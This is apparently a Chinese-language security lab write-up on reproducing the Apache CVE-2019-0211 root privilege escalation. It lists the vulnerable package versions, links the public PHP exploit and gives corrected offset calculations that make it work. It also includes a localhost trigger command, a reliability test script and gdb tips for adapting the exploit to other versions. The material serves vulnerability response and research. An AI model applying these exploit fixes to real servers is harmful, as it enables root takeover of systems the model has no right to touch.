Apache 提權漏洞(CVE-2019-0211)復現
作者:Hcamael@知道創宇404實驗室
時間:2019年4月12日原文鏈接:https://paper.seebug.org/889/
本月Apache被公布了一個提權的漏洞,並且前天在GitHub上公布出了利用腳本,這幾天我負責漏洞應急這個漏洞。
本篇文章沒有叫:《Apache 提權漏洞分析》是因為我覺得CARPE (DIEM): CVE-2019-0211 Apache Root Privilege Escalation這篇文章的分析寫的挺好的,所以我沒必要再翻譯一遍了,本篇文章主要敘述復現該漏洞的過程中踩過的坑。
復現環境
我使用的復現環境是:
# 系統, 跟系統關係不是很大,主要問題是能不能用包管理器安裝對應版本的apache
$ lsb_release -a
Distributor ID: Ubuntu
Description: Ubuntu 18.04.1 LTS
Release: 18.04
Codename: bionic
# Apache版本,復現的關鍵就在該版本
$ apache2 -v
Server version: Apache/2.4.29 (Ubuntu)
Server built: 2018-03-02T02:19:31
# php版本
$ php -v
PHP 7.2.15-0ubuntu0.18.04.2 (cli) (built: Mar 22 2019 17:05:14) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
with Zend OPcache v7.2.15-0ubuntu0.18.04.2, Copyright (c) 1999-2018, by Zend Technologies
- apache使用apt安裝的版本屬於已經修復的版本,所以需要指定一下版本:
# apt install apache2=2.4.29-1ubuntu4 apache2-bin=2.4.29-1ubuntu4 apache2-utils=2.4.29-1ubuntu4 apache2-data=2.4.29-1ubuntu4
- php直接用apt安裝就好了
- exp地址: https://github.com/cfreal/exploits/blob/master/CVE-2019-0211-apache/cfreal-carpediem.php
- 需要開啟ssl模塊:
a2enmod ssl
關於需要開始ssl模塊說明:
- 就算不開ssl模塊,漏洞也是存在的
- 就算不開啟ssl模塊,你自己修改apache配置,能開啟其他埠,也是能利用的
- 如果只開了80埠,則需要另行找一條利用鏈,github上公布exp在只開啟了一個埠的情況下是無效的
- @cfreal的文章中已經說了,我這裡在多說句,相關代碼可以看看1和2還有
SAFE_ACCPET
的宏定義:
/* On some architectures its safe to do unserialized accept()s in the single
* Listen case. But its never safe to do it in the case where theres
* multiple Listen statements. Define SINGLE_LISTEN_UNSERIALIZED_ACCEPT
* when its safe in the single Listen case.
*/
#ifdef SINGLE_LISTEN_UNSERIALIZED_ACCEPT
#define SAFE_ACCEPT(stmt) (ap_listeners->next ? (stmt) : APR_SUCCESS)
#else
#define SAFE_ACCEPT(stmt) (stmt)
#endif
簡單的來說,只有在apache開啟多個埠的情況下,才會生成mutex互斥鎖,而在github上公布的exp就是通過apache的mutex對象來進行利用的。
跑exp中遇到的一些坑
我試過了很多版本,沒有一個版本是能直接使用Github上的exp的,在上述表面的版本中,經過調試研究發現了兩個問題導致了利用失敗:
$all_buckets = $i - 0x10
計算出問題$bucket_index = $bucket_index_middle - (int) ($total_nb_buckets / 2);
計算出問題
第一個計算all_buckets
的地址,使用gdb進行調試,你會發現,這個值並沒有算錯,但是在執行apache2ctl graceful
命令以後,all_buckets
生成了一個新的值,不過只和之前的all_buckets
地址差0x38000
,所以這個問題很好解決:
$all_buckets = $i - 0x10 + 0x38000;
第二個計算沒必要這麼複雜,而且在我測試的版本中還是算的錯誤的地址,直接改成:
$bucket_index = $bucket_index_middle;
ubuntu中的一個坑
我的payload是:curl "http://localhost/cfreal-carpediem.php?cmd=id>/tmp/2323232"
表面上看是執行成功了,但是卻並沒有在/tmp目錄下發現2323232文件,經過隨後的研究發現,systemd重定向了apache的tmp目錄,執行下$find /tmp -name "2323232"
就找到文件了,不過只有root用戶能訪問。如果不想讓systemd重定向tmp目錄也簡單:
$ cat /lib/systemd/system/apache2.service
[Unit]
Description=The Apache HTTP Server
After=network.target remote-fs.target nss-lookup.target
[Service]
Type=forking
Environment=APACHE_STARTED_BY_SYSTEMD=true
ExecStart=/usr/sbin/apachectl start
ExecStop=/usr/sbin/apachectl stop
ExecReload=/usr/sbin/apachectl graceful
PrivateTmp=false
Restart=on-abort
[Install]
WantedBy=multi-user.target
這項為false就好了,PrivateTmp=false
,改完以後重啟一下,再測試一遍就能在tmp目錄下寫文件了
關於成功率的說法
在exp的注釋中看到了說該利用沒法100%成功,有失敗的概率,所以我寫了個腳本進行測試:
root@vultr:~# cat check
#!/bin/bash
SUCC=0
COUNT=0
for i in $(seq 1 20)
do
let COUNT+=1
/etc/init.d/apache2 stop
sleep 1
/etc/init.d/apache2 start
if [ -f "/tmp/1982347" ];then
rm /tmp/1982347
fi
curl "http://localhost/cfreal-carpediem.php?cmd=id>/tmp/1982347"
apache2ctl graceful
sleep 1
if [ -f "/tmp/1982347" ];then
let SUCC+=1
fi
done
echo "COUNT: $COUNT"
echo "SUCCESS: $SUCC"
我測試的跑了20次的結果:
# ./check
......
COUNT: 20
SUCCESS: 20
並沒有遇到失敗的情況
總結
其他版本的還沒有進行測試,但是在這裡給一些建議。
1.check all_buckets地址
這個挺簡單的,執行完exp以後,有輸出對應的pid和all_buckets地址,可以使用gdb attach上去檢查下該地址是否正確:p all_buckets
PS:這裡要注意下,需要安裝dbg包,才有all_buckets符號 :apt install apache2-dbg=2.4.29-1ubuntu4
如果有問題,就調試檢查exp中搜索all_buckets地址的流程
如果沒問題,就使用gdb attach主進程(root許可權的那個進程),然後斷點下在make_child
,然後執行apache2ctl graceful
,執行完然後在gdb的流程跳到make_child函數的時候,再輸出一次:p all_buckets
,和exp獲取的值對比一下,如果一樣就沒問題了
2.check my_bucket地址
前面的流程和上面一樣,重點關注在make_child函數中的my_bucket賦值的代碼:3
這裡注意下,因為上面有一個fork,所以在gdb里還要加一句:set follow-fork-mode child
my_bucket
的值是一個指針,指向堆噴的地址,如果my_bucket
的值沒問題,exp基本就沒問題了,如果不對,就調整$bucket_index
更新
debian 9測試成功:
# cat /etc/issue
Debian GNU/Linux 9
l
# apache2 -v
Server version: Apache/2.4.25 (Debian)
Server built: 2018-11-03T18:46:19
# php -v
PHP 7.0.33-0+deb9u3 (cli) (built: Mar 8 2019 10:01:24) ( NTS )
Copyright (c) 1997-2017 The PHP Group
Zend Engine v3.0.0, Copyright (c) 1998-2017 Zend Technologies
with Zend OPcache v7.0.33-0+deb9u3, Copyright (c) 1999-2017, by Zend Technologies
參考
- https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L433
- https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L1223
- https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L691
本文由 Seebug Paper 發布,如需轉載請註明來源。
歡迎關注我和專欄,我將定期搬運技術文章~
也歡迎訪問我們:知道創宇雲安全
推薦閱讀: